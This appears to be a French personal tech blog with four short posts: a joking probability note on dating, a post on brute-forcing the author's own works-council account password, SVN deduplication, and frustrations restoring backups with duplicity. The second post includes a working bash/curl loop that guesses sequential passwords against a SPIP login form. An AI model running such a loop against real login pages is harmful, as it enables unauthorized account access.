Et les Shadoks pompaient...

Cher Luc,

dans ta recherche d'une femme, si Xi désigne une rencontre, 1 signifiant le succès et 0 l'échec, contrairement à la logique Shadok, la probabilité que ta rencontre Xi+1 soit un succès ne s'accroît pas forcément.

Par exemple, pour 4 filles rencontrées, si succès est synonyme de relation sexuelle, la probabilité que tu couches avec ta 5ème rencontre est de 0,5.

Par contre, si un succès signifie que tu as trouvé la femme de ta vie, la probabilité que ta 5ème rencontre soit la bonne est de 0,16. Si c'est à nouveau un échec, cette probabilité n'est plus que de 0,14 pour ta 6ème, etc.

Bref, après 99 échecs, la probabilité de ton succès sera en fait inférieure à 0,01 et non pas égale à 1 comme le prevoient les Shadoks.

C'est implacable.

Comment j'ai craqué mon compte CE

Mon compte sur le site de mon CE a changé et son mot de passe aussi. Pour commander mes chèques vacances au dernier moment, je me suis donc retrouvé coincé jusqu'à qu'un collègue me fasse remarquer que les mots de passe initiaux ont l'air d'être séquentiels (#fail).

Le site de mon CE étant vraiment sécurisé (merci SPIP), un petit bout de tshark, un petit coup de curl pour faire des POST, et hop, mot de passe récupéré !

for i in {0..100}; do
    id=$(printf 'za%03d' $i);
    echo $id;
    curl -q -D - -U 'proxy_user:password' -x proxy:8080 -d "matricule=1983&password=${id}&SubmitAuth=Connexion" 'http://www.mon-ce.com/spip.php?page=authentif' | grep Location;
done

VCS + deduplication

La déduplication c'est très intéressant pour économiser l'espace disque.

En tout particulier pour des dossiers SVN. En effet, quand on fait un svn checkout dans /monprojet, SVN crée pour chaque fichier du projet /monprojet/fichier mais aussi une copie en /monprojet/.svn/.../fichier. Cette copie permet d'accélérer plusieurs opérations dont svn diff et svn revert.

Mais cela veut dire garder 2 copies identiques (ou quasiment) du même fichier. Mais grâce à la déduplication, cette copie ne coûte plus rien !

Par exemple pour un disque NFS (sur du NetApp) sur lequel une centaine de développeurs travaillent sur le même projet, on dépasse les 35% de gain d'espace disque par rapport à un stockage traditionnel.

En revanche pour GIT, qui stocke tout dans des blobs compressés, cette optimisation de l'espace disque devient impossible.

Test de PRA duplicity: succès partiel

J'utilise depuis 6 mois duplicity avec Amazon S3 pour sauvegarder des choses vraiment importantes de mon portable: mes documents importants et des bouts de configuration locale, genre /etc.

Ce soir j'ai essayé de récupérer un /etc/shadow datant de 3 mois en faisant un:
${DUPLICITY} -t 3M --file-to-restore=etc/shadow ${DEST} /tmp/shadow
et j'ai bien du télécharger 300Mio pour pouvoir récupérer mon fichier de 2Kio...

Échec! Volume was signed by key None, not 987BF8A4

Je commence a en avoir marre de duplicity ou rdiff-backup: déjà avec rdiff-backup, je m'étais rendu compte que le format des métadonnées avait changé d'une version à l'autre et cela avait rendu caduques mes anciennes sauvegardes... Ici j'ai toujours bien fait mes sauvegardes et paf, ça me dit que ça n'est pas bien signé, et ça reste là à rien faire. ^C. Et là miracle, mon fichier a bien été restauré... Je suis en totale confiance.

Autant duplicity c'est très rapide pour faire les sauvegardes incrémentales, autant il y a un truc de complètement foiré au niveau de la restauration: en gros j'ai l'impression qu'il a téléchargé le morceau d'archive tar de la sauvegarde complète précedente, puis qu'il a téléchargé chaque incrémentale jusqu'à la date demandée...

J'abandonne S3 en direct, faute d'outil adéquate.
Et j'abandonne aussi duplicity, je retourne vers du tar ou rsync.